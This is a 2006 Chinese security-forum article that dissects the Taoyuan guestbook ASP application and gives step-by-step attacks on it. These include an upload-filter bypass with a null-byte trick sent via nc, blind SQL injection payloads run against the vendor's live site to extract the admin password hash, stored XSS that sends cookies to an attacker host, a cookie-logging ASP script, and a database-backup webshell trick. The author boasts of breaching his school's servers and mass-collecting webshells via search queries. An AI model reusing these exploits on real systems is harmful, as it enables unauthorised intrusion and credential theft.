奇趣技术网 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 技术论坛
中华网络安全联盟 >> 安全技术 >> 漏洞利用 >> 研究桃源留言本的漏洞
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
  • 动网论坛刷分刷经验漏

  • NOWA simple gallery存

  • eWebEditor session欺

  • eWebEditor session欺

  • windows常见漏洞分析

  • 老兵新传-各种漏洞的利

  • 黑客利用Ms05002溢出找

  • 密码一网打尽 危机重重

  • 研究桃源留言本的漏洞
    字体:

    中华网络安全联盟    作者:佚名    来源:网络    时间:2006-3-19

    桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统。由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评。桃源留言本由原来的2.0版,升级到现在的3.0版。其官方网站也是3.0版。前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本。于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少。
      一.上传漏洞
      我在网上搜索的时候,发现已经有人公布了一个上传漏洞。不过网上公布的是针对2.0版的,不全面。桃源留言本的上传漏洞其实在所有版本都存在。所有版本都有3个上传的地方:Upfile_Article.asp,Upfile_Dialog.asp,Upfile_Photo.asp.这里的上传漏洞和动力3.51的上传漏洞基本上是一样的。动网的带来了上传漏洞热潮已经过去了,相信大家对上传漏洞已经相当熟悉。不过我这里还是要提一下。来看桃源留言本最新版本3.0的Upfile_Article.asp的部分代码。
    for each formName in upload.file '列出所有上传了的文件,一个FOR循环!
    set ofile=upload.file(formName) '生成一个文件对象
    ...
    arrUpFileType=split(UpFileType,"|") '取得定义的可以上传的后缀名
    for i=0 to ubound(arrUpFileType)
    if fileEXT=trim(arrUpFileType(i)) then
    EnableUpload=true hoho,EnableUpload '变量改变了!
    exit for
    end if
    next
    if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="cer" or fileEXT="cdx" then '呵呵,都过滤了。
    EnableUpload=false
    end if
    if EnableUpload=false then
    msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
    FoundErr=true hoho,FoundErr '变量改变了!
    end if
    ...
    if FoundErr<>true then '又是一个重要地方,FoundErr变量是能否上传的关键
    randomize
    ranNum=int(900*rnd)+100 '生成一个随机数
    filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt '没改变上传文件的后缀
    ...
    这里又是化境无组件上传,具体的漏洞原理分析,我不想多说了,因为有太多的人分析了。由于化境无组件上传可以同时上传多个文件,作者没有考虑到这种情况。当我们上传两个文件时,假设第一个为1.gif,第二个为2.php。因为1.gif符合可以上传的后缀名 ,变量EnableUpload=true了。当第二个文件2.php上传的时候,变量的值没有改变,而且php不在asp,aspx,cer,cdx这几种特殊情况之内,又骗过了检测, FoundErr<>true,于是2.php也会随着1.gif上传到服务器。上传1.gif是为了给2.php做掩护,第二个文件可以是除asp,aspx,cer,cdx以外的任意后缀。如果服务器支持jsp,我们也可以传jsp木马。实际上这个3.0版的的Upfile_Article.asp还是对上传漏洞又所修补,不过修补够,我们还有办法突破。因为在以前的2.0版,2.1版上面那一句是:if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then,这样我们就随便传cer,cdx后缀的asp木马了。3.0版的还真奇怪,Upfile_Article.asp和Upfile_Photo.asp都修补了一下,也就是增加了对cer,cdx后缀的过滤,但是Upfile_Dialog.asp却和2.0版2.1版的一样。因此3.0版我们可以直接对Upfile_Dialog.asp加以利用,把upload_Dialog.asp的关键部分加以修改:
    <body bgColor=menu leftmargin="5" topmargin="0">
    <form action="http://www.mytaoyuan.com/ly/Upfile_Dialog.asp" method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">
    <input name="FileName" type="FILE" class="tx1" size="35">
    <input name="FileName1" type="FILE" class="tx1" size="35">
    <input type="submit" name="Submit" value="上传">
    <input name="DialogType" type="hidden" id="DialogType" value="pic">
    </form>
    </body>
    如图1 注意后面的DialogType这个隐藏变量。HOHO,第一个文件选gif文件,第二个就把asp木马改后缀为cdx,传上去就ok了。如图2。
    3.0版的Upfile_Article.asp这种修补漏洞的方法不可取。,其实自从动力漏洞公布后,很多系统又相似的漏洞,许多站长就是这么修补上传漏洞的,可惜他们并不懂得真正原理。我们构造asp .gif后缀,同样把Upload_Article.asp加以改造,上传2个文件,第一个1.gif,第2个2.asp .gif,再上传抓包保存为bao.txt,用winhex打开bao.txt,把空格对应20棏改为00(相信大家都熟练了)。再用nc提交,nc www.mytaoyuan.com 80<bao.txt,这样就把asp木马传上去。如图。较好地修补可以在upfile_Dialog.asp找到
    if FoundErr<>true then
      randomize
      ranNum=int(900*rnd)+100
      filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
      ofile.SaveToFile Server.mappath(FileName) '保存文件
    在FileName=SavePath & ofile.FileName下增加:FileName=Replace(FileName,Chr(0),"")即可,它过滤了00.

      二.注入漏洞
      打开留言本,发现留言本底部有一个搜索框。如图3 .再看它的default.asp里面代码。
    select case option1
    case 1
    SQL="Select * From guest where "&mark&"subject like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"
    case 2
    SQL="Select * From guest where "&mark&"content like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"
    case 3
    前后对text变量没有任何过滤。如果我们再框里填上搜索词:建议' and 1=1 and '%'='
    查询语句变成了:'subject like '%建议' and 1=1 and '%'='%' and webid='' order by top1,lastdate desc' ,配配了单引号,于是正常返回与建议有关的内容。我对桃源留言本官方网站测试如下:
    建议' and 1=(select @@version) and '%'=' //看是不是sql数据库
    建议' and 0<>(select count(*) from register) and '%'=' //看管理员表是否存在,我怕管理员改了默认表名
    建议' and 0<>(select id from register where username='admin') and '%'=' //看管理员是不是admin
    建议' and (select username from register where username='风雨无阻') and '%'='//确定管理员是风雨无阻,这是从留言本是看到的
    建议' and 0<>(select id from register where id=1) and '%'=' //确定管理员id是否为1
    建议' and exists (select id from register where len(password1)=16 and id=1) and '%'=' //确定管理员密码是否也md5加密了
    建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))<100) and '%'='//猜密码长度了,已经知道是16位md5
    建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))=51) and '%'='
    建议' and (select top 1 id from register where id=1 and asc(mid(password1,2,1))<100) and '%'='
    ...
    把16位md5密码的每一位都猜出来了,对照asc码表就确定了密码是密文:350e2cfa35948c49,可以检验一下,提交:
    建议' and (select password1 from register where password1='350e2cfa35948c49') and '%'='
      桃源留言本的所有基本上都没过滤,再看show.asp,用来显示留言的。
    dsql="delete From reply where id1="&request("id")
      conn.execute(dsql)
      rs.open "Select * from guest where ID = " & request("ID1"),conn,2,3
    id这个变量任何过滤,这样我们点击任意一条留言,就是注入点了。
      三.cookies漏洞
      读到login.asp,发现如下代码:
    response.cookies("ly").Path=cookiePath
    response.cookies("ly")("useridname")=name
    response.cookies("ly")("useridpassword")=pass
    if rs("level1")="管理员" then response.cookies("ly")("admin")=1 else if rs("level1")="版主" then response.cookies("ly")("admin")=2 else response.cookies("ly")("admin")=0
    我马上一阵高兴,cookies里的admin这个变量我们可以自己制定,这样自己不就是管理员么?修改cookies最好用桂林老兵那个修改cookies
    的浏览器,比较方便。但是发现没有用的。再default.asp中有:
    if session("useridname")<>"" then
      rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1
      if not rs.eof then
      if rs("level1")="管理员" then session("admin")=1
      if rs("level1")="版主" then session("admin")=2
      if rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0
      else
      session("admin")=0
      end if
    这就是加了session认证。此留言本无后台,只要是管理员就可以前台进行管理操作。而每个有管理功能的页面都是这样:
    <%if session("admin")<>1 then response.Redirect "default.asp"%>
      而且cookies中密码是明文显示的,如:useridpassword=ccc&admin=1&useridname=ccc。这样上面我们注入得到的密码也无法进行cookies欺骗,除非破解出来才行。不过这样也有个安全因素。cookies中的密码是明文,这样保密性不好,如果被人偷看了,而我们的密码又和什么邮箱,QQ密码一样,那就惨了。
      四.跨站攻击
      这个问题要比上面的严重。漏洞主要出在guest_register.asp。这里是注册定义头像的地方,定义头像可以选择系统自带头像,也可以自己上传。一个框框填些自己定义头像的地址。
    <input name="myface" type="text" class="input1" id="QQ3" size="30">
      <br>
      </font></div></td>
      <td width="458" align="center"><div align="left"><iframe style="top:2px" ID="UploadFiles" src="upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe>
      <br>
    然后在guest_info.asp中,这里是修改自己注册信息的地方。
    <td width="11%"><img src="<%if rs("myface")<>"" then response.write(rs("myface")) else response.write(rs("face"))%>" width="72" id=idface ></td>。
    myface这个变量没有经过过滤。我们构造头像:11.gif"><script>alert('aaa啊')</script>,最后显示出来就是:
    <img src="11.gif"><script>alert('aaa啊')</script>" width="20" height="30">
    <input name="myface" type="text" class="input1" id="QQ3" value="11.gif">alert('aaa啊')</script>" size="30">
    自然就弹出两次对话框。如图4。经测试个人主页那里也可以进行跨站攻击。我们就个人主页那里填:
    http://<script>alert('aaa啊')</script>,最后显示出来就是:
    <a href="http://<script>alert('aaa啊')</script>" target="_blank">http://<script>alert('aaa啊')</script></a></font></div></td>
    我们的代码又执行了。填些qq号码那里也每过滤,不过长度有限制,不能跨站。
      这样我们构造跨站之后,只要管理员看了我们发的帖子或者资料,他就中招了。前面不是谈到cookies中密码明文显示么?我们就跨站偷cookies。我们构造头像11.gif"><script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>
    个人主页http://<script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>就行了。我们的http://webshell.com/qq156544632/下面的co.asp应该这样些:
    <%
    msg=Request.ServerVariables("QUERY_STRING")
    testfile=Server.MapPath("qq156544632.txt")
    set fs=server.CreateObject("scripting.filesystemobject")
    set thisfile=fs.OpenTextFile(testfile,8,True,0)
    thisfile.WriteLine(""&msg& "")
    thisfile.close
    set fs = nothing
    %>
    <script language=vbscript>window.close()</script>
    (此代码好像是Lcx大哥原创的,在此表示感谢。)这样管理员的cookies就会写到http://webshell.com/qq156544632/156544632.txt里面。
    这里顺便说下,以上跨站代码用了Fso对象,所以你的http://webshell.com/必须支持FSO,window.close()这里是为了关闭http://webshell.com/qq156544632/co.asp的,以免引起怀疑。看我偷的cookies图。如图5.
      五.其它漏洞
      桃源留言本的默认数据库为mdb文件,没有任何防下载措施。在“黑客”越来越多的今天,写代码的还这样有点不应该了。后台有备份,恢复数据库的功能。假设我们得到了管理密码,能进行管理操作,如果数据库被改成了asp的,我们就随便什么地方把一句话asp木马写进他数据库,把他的数据库变成asp木马。如果数据库没改,或我们不知道数据库路径,我们就先把一句话木马写进数据库,再备份数据库。因为备份数据库默认为asa文件,假设我们备份为Databackup/langzi.asa,我们直接访问http://www.xxx.com/Databackup/langzi.asa,是不是也可以用一句话asp木马进行操作了?
      看完了是不是觉得漏洞挺多啊?留言本一般再网站中起配角作用,一次许多网站管理员对留言本的脚本安全不够重视,而且留言本开发者
    也在安全性上不够努力。实际上任何一个微小的漏洞都有可能威胁到服务器的安全。千里之堤,溃于蚁穴。就拿我来说吧,就是通过这个留言本的漏洞,入侵了我们学校一个部门的网站,进而入侵了学校的网站,再进一步控制学校网站的服务器,最后我渗透内网,控制了学校的所有服务器。希望以后的脚本编写者一定要懂得安全第一,也希望其它的类似留言本不要出现本文所提到的漏洞。用baidu搜索"填写留言 用户登录 用户注册 发言排名 查看精华"或其它关键词就可以找到大批使用桃源留言本的网站,90%以上都存在漏洞,我瞬间就得到一批webshell。目前桃源留言本官方网站漏洞还没补,留言本系统一直供人下载,希望大家千万不要上去捆马,也不要攻击其它国内网站。
      由于本人水平有限,而且是在有限的时间里粗略地看了下代码,错误遗漏在所难免。欢迎与我交流,本人qq:156544632,当然最好是上我们地《黑客X档案》地论坛去讨论。

    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.